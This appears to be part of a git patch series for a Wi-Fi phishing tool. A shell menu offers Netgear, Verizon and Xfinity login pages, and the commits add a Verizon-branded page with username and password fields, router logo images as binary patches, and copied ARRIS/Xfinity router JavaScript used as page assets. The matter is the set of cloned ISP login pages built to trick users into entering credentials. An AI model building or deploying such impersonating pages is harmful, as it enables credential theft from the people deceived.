-2556,11 +2557,11 @@ function LoginPages { echo "Select Login Page" echo " " - echo -e "$blue""1)"$transparent" Login Page Netgear" - echo -e "$blue""2)"$transparent" Login Page Verizon" - echo -e "$blue""3)"$transparent" Login Page Xfinity" - echo -e "$blue""4)"$transparent" General Login Page" - echo -e "$blue""5)"$transparent" \e[1;31mExit"$transparent"" + echo -e "$blue"" 1)"$transparent" Login Page Netgear" + echo -e "$blue"" 2)"$transparent" Login Page Verizon" + echo -e "$blue"" 3)"$transparent" Login Page Xfinity" + echo -e "$blue"" 4)"$transparent" General Login Page" + echo -e "$blue"" 5)"$transparent" \e[1;31mExit"$transparent"" echo " " echo -n ' #> ' read yn From 063c1125e25f5f31e96edc0c073c58385f46a473 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:01:40 +0300 Subject: [PATCH 116/294] Create w --- Sites/Login-Verizon/w | 1 + 1 file changed, 1 insertion(+) create mode 100644 Sites/Login-Verizon/w diff --git a/Sites/Login-Verizon/w b/Sites/Login-Verizon/w new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Sites/Login-Verizon/w @@ -0,0 +1 @@ + From b549a2f82245ba500ac15044a240d3446e5a8de0 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:02:02 +0300 Subject: [PATCH 117/294] Added files via upload --- Sites/Login-Verizon/Verizon.html | 422 +++++++++++++++++++++++++++++++ 1 file changed, 422 insertions(+) create mode 100644 Sites/Login-Verizon/Verizon.html diff --git a/Sites/Login-Verizon/Verizon.html b/Sites/Login-Verizon/Verizon.html new file mode 100644 index 0000000..d2b3da2 --- /dev/null +++ b/Sites/Login-Verizon/Verizon.html @@ -0,0 +1,422 @@ + + +Verizon
 
  
 


 Login

User Name:
Password:
OK


 
\ No newline at end of file From 2f9ced41dca621812b55c80ba46f011986bc7075 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:02:35 +0300 Subject: [PATCH 118/294] Create w --- Sites/Login-Verizon/Verizon_files/w | 1 + 1 file changed, 1 insertion(+) create mode 100644 Sites/Login-Verizon/Verizon_files/w diff --git a/Sites/Login-Verizon/Verizon_files/w b/Sites/Login-Verizon/Verizon_files/w new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Sites/Login-Verizon/Verizon_files/w @@ -0,0 +1 @@ + From 8aad72d19d12546f163bb1ad961b1639f5e7833a Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:03:06 +0300 Subject: [PATCH 119/294] Added files via upload --- .../Verizon_files/actiontec_btm_bar.gif | Bin 0 -> 96 bytes .../Verizon_files/actiontec_lt_btm_corner.gif | Bin 0 -> 604 bytes .../Verizon_files/actiontec_lt_col.gif | Bin 0 -> 93 bytes .../Verizon_files/actiontec_lt_top_corner.gif | Bin 0 -> 590 bytes .../Verizon_files/actiontec_rt_btm_corner.gif | Bin 0 -> 630 bytes .../Verizon_files/actiontec_rt_col.gif | Bin 0 -> 95 bytes .../Verizon_files/actiontec_rt_top_corner.gif | Bin 0 -> 583 bytes .../Verizon_files/actiontec_top_bar.gif | Bin 0 -> 93 bytes Sites/Login-Verizon/Verizon_files/empty.gif | Bin 0 -> 44 bytes Sites/Login-Verizon/Verizon_files/vz_logo.gif | Bin 0 -> 3195 bytes 10 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_btm_bar.gif create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_lt_btm_corner.gif create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_lt_col.gif create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_lt_top_corner.gif create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_rt_btm_corner.gif create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_rt_col.gif create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_rt_top_corner.gif create mode 100644 Sites/Login-Verizon/Verizon_files/actiontec_top_bar.gif create mode 100644 Sites/Login-Verizon/Verizon_files/empty.gif create mode 100644 Sites/Login-Verizon/Verizon_files/vz_logo.gif diff --git a/Sites/Login-Verizon/Verizon_files/actiontec_btm_bar.gif b/Sites/Login-Verizon/Verizon_files/actiontec_btm_bar.gif new file mode 100644 index 0000000000000000000000000000000000000000..3313858f3834025227023f7205f8361e1d9dc3cb GIT binary patch literal 96 zcmZ?wbhEHbWMq(J*!-X2z>% literal 0 HcmV?d00001 diff --git a/Sites/Login-Verizon/Verizon_files/actiontec_lt_btm_corner.gif b/Sites/Login-Verizon/Verizon_files/actiontec_lt_btm_corner.gif new file mode 100644 index 0000000000000000000000000000000000000000..930743bf94188cafd54199a3c89ab8d524657eec GIT binary patch literal 604 zcmZ?wbhEHb6kw2Kc=n&+z<~olfBydU>-Ww*$9L{Ob@kSxXD{Dv+-KNicY51_vpWx+JA38snag)B-FR^E`uz*n?p?n5@Yeljuik!q z`Q}6SoQ>0$?VPt}@8S&yR&6`Fe%FazM=tC z>^mD61iiSuc=h;{m4kbF85mfU6@`4XIGluCMa1Xy&zrws;i82s_L{zC(#Bm(y*&%M zlvVf@ua5K!a`HIJn0IM>Wl&b)Ir-p;3%{VCkk*$aFWOnfv`tbf rgj^es`fpVDa3C@+}d~K z?ES|tKYsr9{^OS^i?=UYe_-Ld{cCp|-?H!Y&O_&R9X`M7(Ai5j9$dI~@AA!ux9&fC z`R2p(SMNGzZRnl1X~M#-ee*X@TC{EA!mU%5Y@fbt=gbwm7OdO9bkm_F8xJntaA5hC zBU|>L*?IWM%4`_Xl~j&D71=J1(oCobGPd-dM=Yxl0* zd3^cigQc4f9yxpM^yS-^Za%ni@5%Gm?_aj-$M>JV z{{8>|=kMSD|NsB{_wVoDzYO#Oia%KxL3ZhY2vD3ju&-`lXlib0Z5H(m^EY+VRIw4# z)tTHX8ORjOD`n&-F^@stm({~bNpLb_)T&i&O$OdR?qc&Kn%M#)qM}V4_{Px# literal 0 HcmV?d00001 diff --git a/Sites/Login-Verizon/Verizon_files/actiontec_rt_btm_corner.gif b/Sites/Login-Verizon/Verizon_files/actiontec_rt_btm_corner.gif new file mode 100644 index 0000000000000000000000000000000000000000..c16efb57fffd43b7970cb65e900e89acfb2d2507 GIT binary patch literal 630 zcmZ?wbhEHblwgo#c=n&+z<~ohcOL%v^Y@=We}Db@y>rj;H}5`u|MBa~*Y7*`pL+8A z&4VYe-hceEX#IhO>-I0-e0cq?lk0Y#*s|~R_JilP9XPx5(7CU zbmPI5TaT{ad3^2mqnB?!ymFC#N}h>ZX7vt?cU>;PhPxz{QOPFto7|P*Y(WXG->g+d29DA z+Hhdu`u$5b9bB>X$nq_Rmu)_@V(a1MTMn(=d3^Quqw9B{*mLaSk+atip1N}U{EhS1 z?wz}O_sr$n8}^(ya`xKk%eQade|rDP%jd7(KYjW3^}CNBKYxAk=KcFmU*3KE{Qc)I zp#T5>|NrmbKL+{&#h)yUARBc+1Sn1z*e^FkHZ_Y%g-Y?7@@Z=`^!4{Qw|KC5bawYn zm@uhHR3gCFQqihs*6cZ=l7>FK3cO2~_03_?^E7r*RZ`Vv+_-6ykxZbRmc6;{%ze#F zMqC`>at4AHjwd&Yii*4Wu}3k>>pD7VTwCVhtM4nv5*6VuY^|=%xvwuMgqxcuILz3U z-$7-H@%DwyZG2vR5f2QLPINJSl`);M<1u>+hh3G{M|VzcUVeVQLo=7G*OnE5?u`r#)&LADDAND{ literal 0 HcmV?d00001 diff --git a/Sites/Login-Verizon/Verizon_files/actiontec_rt_col.gif b/Sites/Login-Verizon/Verizon_files/actiontec_rt_col.gif new file mode 100644 index 0000000000000000000000000000000000000000..d3f7b24aad17cefd1c810a29e8229a831394f673 GIT binary patch literal 95 zcmZ?wbhEHblwe?F*!-X2T{n#;UL-(AGz4JD$-*sZc?vq>gpV_$Q`D7b>;Z^8z(Q`x^Vse`D^#iUA=q#?vrbG9-qE^`_jz^&tAQI`tt4D51&t5 zy!rmqm;e9&GYoE^_>+YZZOv+(o$7*4th|byLha4=k`j(u ztTrlLQ(Cv s=XMdzu7)KinkD%dnwr{_n)+EB@*W5jzLPXjy|m(Lf}-=o1r7|>0O#cF@&Et; literal 0 HcmV?d00001 diff --git a/Sites/Login-Verizon/Verizon_files/actiontec_top_bar.gif b/Sites/Login-Verizon/Verizon_files/actiontec_top_bar.gif new file mode 100644 index 0000000000000000000000000000000000000000..50626675ccb6cdd681835a657c26341f227495b2 GIT binary patch literal 93 zcmZ?wbhEHbWMtrH*!-X2+|z`)3$1LA{Z7?_xSW{5CY0|3~H2qFLg literal 0 HcmV?d00001 diff --git a/Sites/Login-Verizon/Verizon_files/vz_logo.gif b/Sites/Login-Verizon/Verizon_files/vz_logo.gif new file mode 100644 index 0000000000000000000000000000000000000000..b7f63f29ca68bf1be9612c9a007cb6ec4b7a3c9b GIT binary patch literal 3195 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 literal 0 HcmV?d00001 From afae629fbf2aea45cb7575932cec10b1da0b72b9 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:04:00 +0300 Subject: [PATCH 120/294] Delete w --- Sites/Login-Verizon/w | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Sites/Login-Verizon/w diff --git a/Sites/Login-Verizon/w b/Sites/Login-Verizon/w deleted file mode 100644 index 8b13789..0000000 --- a/Sites/Login-Verizon/w +++ /dev/null @@ -1 +0,0 @@ - From 67a3c17aff07d637e4861daef9cc3ec62e0b31a8 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:04:17 +0300 Subject: [PATCH 121/294] Delete w --- Sites/Login-Verizon/Verizon_files/w | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Sites/Login-Verizon/Verizon_files/w diff --git a/Sites/Login-Verizon/Verizon_files/w b/Sites/Login-Verizon/Verizon_files/w deleted file mode 100644 index 8b13789..0000000 --- a/Sites/Login-Verizon/Verizon_files/w +++ /dev/null @@ -1 +0,0 @@ - From d280ad8f6264d739a9a2eb873bd7e1b74e3c3e30 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:05:45 +0300 Subject: [PATCH 122/294] Create Xfinity-files --- Sites/Login-Xfinity/Xfinity-files | 1 + 1 file changed, 1 insertion(+) create mode 100644 Sites/Login-Xfinity/Xfinity-files diff --git a/Sites/Login-Xfinity/Xfinity-files b/Sites/Login-Xfinity/Xfinity-files new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity-files @@ -0,0 +1 @@ + From bc3f16744226cfdd364afb17b4d2023f52ae10d0 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:06:06 +0300 Subject: [PATCH 123/294] Create w --- Sites/Login-Xfinity/Xfinity_files/w | 1 + 1 file changed, 1 insertion(+) create mode 100644 Sites/Login-Xfinity/Xfinity_files/w diff --git a/Sites/Login-Xfinity/Xfinity_files/w b/Sites/Login-Xfinity/Xfinity_files/w new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/w @@ -0,0 +1 @@ + From 86d12bfbc74daae3ff94fa143cf88cf8d43f958f Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 30 Mar 2016 12:09:05 +0300 Subject: [PATCH 124/294] Added files via upload --- Sites/Login-Xfinity/Xfinity_files/base.js | 2656 +++++++++++ Sites/Login-Xfinity/Xfinity_files/base_95x.js | 829 ++++ .../Xfinity_files/common-min.css | 32 + .../Login-Xfinity/Xfinity_files/common-min.js | 16 + .../Xfinity_files/jquery-1.4.2.min.js | 246 ++ .../jquery-ui-1.8.5.custom.min.js | 778 ++++ Sites/Login-Xfinity/Xfinity_files/json2.js | 482 ++ Sites/Login-Xfinity/Xfinity_files/mib.js | 3917 +++++++++++++++++ Sites/Login-Xfinity/Xfinity_files/mib2.js | 313 ++ Sites/Login-Xfinity/Xfinity_files/print.css | 50 + .../Login-Xfinity/Xfinity_files/underscore.js | 716 +++ 11 files changed, 10035 insertions(+) create mode 100644 Sites/Login-Xfinity/Xfinity_files/base.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/base_95x.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/common-min.css create mode 100644 Sites/Login-Xfinity/Xfinity_files/common-min.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/json2.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/mib.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/mib2.js create mode 100644 Sites/Login-Xfinity/Xfinity_files/print.css create mode 100644 Sites/Login-Xfinity/Xfinity_files/underscore.js diff --git a/Sites/Login-Xfinity/Xfinity_files/base.js b/Sites/Login-Xfinity/Xfinity_files/base.js new file mode 100644 index 0000000..a361cc8 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/base.js @@ -0,0 +1,2656 @@ +//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +var _afterBuild = new Array(); +var _afterApply = new Array(); +var ag = null; +var _technician = { }; +var base = ""; +var basePath = ""; +var _lastEvent; + +function supports_html5_storage() { + try { + return 'sessionStorage' in window && window['sessionStorage'] !== null; + } catch (e) { + return false; + } +} +var _sessionStorage = supports_html5_storage() ? sessionStorage : null ; +function getSessionStorage(key) { + if (_sessionStorage) + return _sessionStorage[key]; + return Base64.decode(readCookie(key)); +} +function setSessionStorage(key,value) { + if (_sessionStorage) + _sessionStorage[key] = value; + else createCookie(key, Base64.encode(value)); +} + +// 1 - log, 2-show,4-verify,8-notrans, 64-set1 128-setmult +function debug(value) { + if (value !== undefined) + setSessionStorage("ar_debug_state",value); + return getSessionStorage("ar_debug_state") || 0; +} +function hardwareVersion(substring) { + if (getSessionStorage("ar_hw_version") === undefined || getSessionStorage("ar_hw_version")===null) + setSessionStorage("ar_hw_version", snmpGet1(arHardwareVersion.oid+".0") || "???"); + var hv = getSessionStorage("ar_hw_version"); + if (substring !== undefined) + return hv.indexOf(substring) != -1; + return hv; +} +function customerId() { + if (getSessionStorage("ar_cust_id") === undefined || getSessionStorage("ar_cust_id") === null) { + setSessionStorage("ar_cust_id", snmpGet1(arCustomID.oid+".0") || "0"); + } + return getSessionStorage("ar_cust_id").asInt(); +} + +function userRadioControl() { + if (getSessionStorage("ar_user_rc") === undefined || getSessionStorage("ar_user_rc") === null) { + setSessionStorage("ar_user_rc", snmpGet1(arWiFiRadioControlMode.oid+".0").asInt(0) === 0 ? 1 : 0); + } + return getSessionStorage("ar_user_rc") == "1"; +} + +function language() { + if (getSessionStorage("ar_language") === undefined || !getSessionStorage("ar_language")) { + setSessionStorage("ar_language", snmpGet1(arLanguage.oid+".0") || "English"); + } + return getSessionStorage("ar_language"); +} +function clearLanguage() { + setSessionStorage("ar_language", ""); +} + + +function isTwc() { + return customerId() === 3; +} +function isSuddenlink() { + return customerId() === 12; +} + +var menuStateLoaded = false; +function loadMenus() { + if (!menuStateLoaded && (getSessionStorage("ar_hide") === undefined || !getSessionStorage("ar_hide"))) { + menuStateLoaded = true; + + var table = [ ] ; // table stopped working WebAccessTable.getTable([arWebAccessPage]); + for (var i=1; i<20; i++) { + var s = snmpGet1(arWebAccessPage.oid+"."+i); + if (s) + table.push([s]); + else break; + } + + var hides = ";"; + var disables = ";"; + function loadRow(row) { + var ss = row[0].split(";"); + _.each(ss, function(sss) { + var ssss = sss.split(":"); + if (ssss[0] === "hide") + hides += ssss[1]+";"; + if (ssss[0] === "disable") + disables += ssss[1]+";"; + }); + } + _.each(table, loadRow); + setSessionStorage("ar_hide", hides); + setSessionStorage("ar_disable", disables); + } +} + +// todo: verify twc here +function menuVisible(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_hide").contains(s+";")); +} +function submenuVisible(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_hide").contains(s+";")); +} +function pageEnabled(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_disable").contains(s+";")); +} +function fieldsetVisible(s) { + loadMenus(); + return isTechnician() || !s || !(getSessionStorage("ar_hide").contains(base+"_"+s+";")); +} + +jQuery.fn.valOrChecked = function(v) { + var vals = []; + this.each(function() { + var a = $(this); + if (v !== undefined) { + if (a.is(':checkbox')) + a.attr("checked", !(v == "0")); + else a.val(v); + vals[0] = this; + } else { + vals.push(a.is(':checkbox') ? (a.is(":checked") ? 1 : 0) : a.val()); + } + }); + return vals[0]; +}; + +$.fn.truncateTextToFit = function() { + this.each(function() { + if ($(this).textWidth() <= $(this).width()) + return; + var t = $(this).text(); + $(this).attr("title",t); + while ($(this).textWidth() > $(this).width()) { + $(this).text(t.substr(0, t.length-1)); + t = $(this).text(); + } + $(this).html(t.substr(0, t.length-2)+" …"); + }) +}; + + +jQuery.log = function(message) { + if (debug()&1 && window.console && window.console.debug) { + window.console.debug(message); + } +}; +jQuery.fn.textWidth = function(){ + var calc = '' + $(this).text() + ''; + $('body').append(calc); + var width = $('body').find('span:last').width(); + $('body').find('span:last').remove(); + return width; +}; + +Boolean.prototype.asInt = function() { + return this.valueOf() ? 1 : 0; +} +Number.prototype.asInt = function() { + return Math.floor(this); +} + +Number.prototype.asString = function(len) { + var s = this.toString(); + if (s.length < len) + return "00000000000000000000000000000000".substr(0, len - s.length) + s; + return s; +} +Number.prototype.asHexString = function(len) { + var s = this.toString(16); + if (s.length < len) + return "00000000000000000000000000000000".substr(0, len - s.length) + s; + return s; +} +String.prototype.asInt = function(nanVal) { + var v = parseInt(this,10); + return isNaN(v) ? nanVal : v; +} +String.prototype.fmt = function () { + var args = arguments; + var pattern = new RegExp("%([0-" + arguments.length + "])", "g"); + return this.replace(pattern, function(match, index) { + return args[index]; + }); +} + +String.prototype.varsub = function(subfunc) { + var ss = this; + if (this.indexOf('{{') !== -1) + _.each(this.match(/{{[^}]*}}/g) || [], function(s) { + ss = ss.replace(s,subfunc(s.substr(2,s.length-4))); + }); + return ss.valueOf(); +} + +String.prototype.startsWith = function(str) { + return (this.indexOf(str) === 0); +} +String.prototype.endsWith = function (str) { + var lastIndex = this.lastIndexOf(str); + return (lastIndex != -1) && (lastIndex + str.length == this.length); +} +String.prototype.grow = function(i) { + var len = this.length + i; + if (len < 0) + len = 0; + if (len <= this.length) { + return this.substr(0, len); + } else { + var s = this; + while (len-- > this.length) + s += " "; + return s; + } +} +String.prototype.contains = function () { + for (var i=0; i0) { + s = ch+s; + } + return s; +}; +String.prototype.trim = function() { + return this.replace(/^\s+|\s+$/g,""); +} +String.prototype.ltrim = function() { + return this.replace(/^\s+/,""); +} +String.prototype.rtrim = function() { + return this.replace(/\s+$/,""); +} + +Array.prototype.unique = function unique(keyfunc) { + if (!keyfunc) keyfunc = function(a) { return a; }; + var o = { }; + _.each(this, function(e) { o[keyfunc(e)]=true; }) + var ua = [ ]; + _.each(this, function(e) { if (o[keyfunc(e)]) ua.push(e); o[keyfunc(e)]=false; }); + return ua; +} + +var Base64 = { + // private property + _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", + isBase64 : function(input) { + for (var i=0; i> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + if (isNaN(chr2)) { + enc3 = enc4 = 64; + } else if (isNaN(chr3)) { + enc4 = 64; + } + output = output + + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); + + } + return output; + }, + // public method for decoding + decode : function (input) { + if (input === null) + return ""; + var output = ""; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + while (i < input.length) { + enc1 = this._keyStr.indexOf(input.charAt(i++)); + enc2 = this._keyStr.indexOf(input.charAt(i++)); + enc3 = this._keyStr.indexOf(input.charAt(i++)); + enc4 = this._keyStr.indexOf(input.charAt(i++)); + chr1 = (enc1 << 2) | (enc2 >> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + output = output + String.fromCharCode(chr1); + if (enc3 != 64) { + output = output + String.fromCharCode(chr2); + } + if (enc4 != 64) { + output = output + String.fromCharCode(chr3); + } + } + output = Base64._utf8_decode(output); + return output; + }, + + // private method for UTF-8 encoding + _utf8_encode : function (string) { + string = string.replace(/\r\n/g,"\n"); + var utftext = ""; + for (var n = 0; n < string.length; n++) { + var c = string.charCodeAt(n); + if (c < 128) { + utftext += String.fromCharCode(c); + } + else if((c > 127) && (c < 2048)) { + utftext += String.fromCharCode((c >> 6) | 192); + utftext += String.fromCharCode((c & 63) | 128); + } + else { + utftext += String.fromCharCode((c >> 12) | 224); + utftext += String.fromCharCode(((c >> 6) & 63) | 128); + utftext += String.fromCharCode((c & 63) | 128); + } + } + return utftext; + }, + // private method for UTF-8 decoding + _utf8_decode : function (utftext) { + var string = ""; + var i = 0; + var c = c1 = c2 = 0; + while ( i < utftext.length ) { + c = utftext.charCodeAt(i); + if (c < 128) { + string += String.fromCharCode(c); + i++; + } + else if((c > 191) && (c < 224)) { + c2 = utftext.charCodeAt(i+1); + string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); + i += 2; + } + else { + c2 = utftext.charCodeAt(i+1); + c3 = utftext.charCodeAt(i+2); + string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); + i += 3; + } + } + return string; + } +} + + + + + +function createCookie(name, value, seconds) { + var expires = ""; + if (seconds) { + var date = new Date(); + date.setTime(date.getTime() + (seconds * 1000 + 15)); + expires = "; expires=" + date.toGMTString(); + } + document.cookie = name + "=" + value + expires + "; path=/"; +} +function updateCookieExpiration(name, seconds) { + var cookie = readCookie(name); + if (!cookie) + return; + eraseCookie(cookie); + createCookie(name, cookie, seconds); +} +function readCookie(name) { + var nameEQ = name + "="; + var ca = document.cookie.split(';'); + for (var i = 0; i < ca.length; i++) { + var c = ca[i]; + while (c.charAt(0) == ' ') c = c.substring(1, c.length); + if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length); + } + return null; +} + +function eraseCookie(name) { + createCookie(name, "", -1); +} + +function htmlEscape(s) { + s = ""+s; // make sure a string + return s.replace(/&/g,'&'). + replace(/>/g,'>'). + replace(/"; + return str; + }; + var add = function () { + for (var i = 0; i < arguments.length; i++) { + var a = arguments[i]; + if (!a) + continue; + if (typeof a === "string") { + var index = a.indexOf(":"); + var key = a.substr(0, index); + var val = a.substr(index + 1); + val = val.varsub(function(s) { return s.startsWith("=") ? eval(s.substring(1)) : xlate(s); }); + def[key] = val; + } else if (typeof a == "function") { + var fname = a.toString(); + fname = fname.substring(fname.indexOf(" ") + 1, fname.indexOf("(")); + var uniquefname = getNextName(fname); + window[uniquefname] = function (e) { + _lastEvent = window["event"] ? event : e; + a(_lastEvent); + }; + def[fname] = "{ " + uniquefname + "(arguments[0]);}"; + } else if (_.isArray(a)) { + for (var j = 0; j < a.length; j++) + add(a[j]); + } else { + contents.push(a); + } + } + }; + add.apply(this, arguments); + if (contents.length) + def["contents"] = contents; + return def; + }; +} + + +$.each([ "a","abbr","acronym","address","applet","area","b","base","basefont","bdo","big","blockquote","body","br","button","caption","center","cite","code","col","colgroup","dd","del", + "dfn","dir","div","dl","dt","em","fieldset","font","form","frame","frameset","h1","h2","h3","h4","h5","h6","head","hr","html","i","iframe","img","input","ins","isindex","kbd","label", + "legend","li","link","map","menu","meta","noframes","noscript","object","ol","optgroup","option","p","param","pre","q","s","samp","script", + "select","small","span","strike","strong","style","sub","sup","table","tbody","td","textarea","tfoot","th","thead","title","tr","tt","u","ul","var" ] + , function(i, t) { + if (window["_" + t]) + throw("error _" + t + " already defined."); + window["_" + t] = buildTag(t); + +}); + +function parseLabel(label) { + var index = label.indexOf(":"); + if (index == -1) { + return { label: label, oid: "" }; + } else { + var key = label.substr(0, index); + var val = label.substr(index + 1); + //OIDs.push(val); + return { label: key, oid: val }; + } +} + +// $("body").width() + +function helpTag(label1, text) { + var t = text || helpText(label1); + afterBuild(function() { + $("#"+label1+"_image_tt").mouseenter(function(e) { + $("body").append("
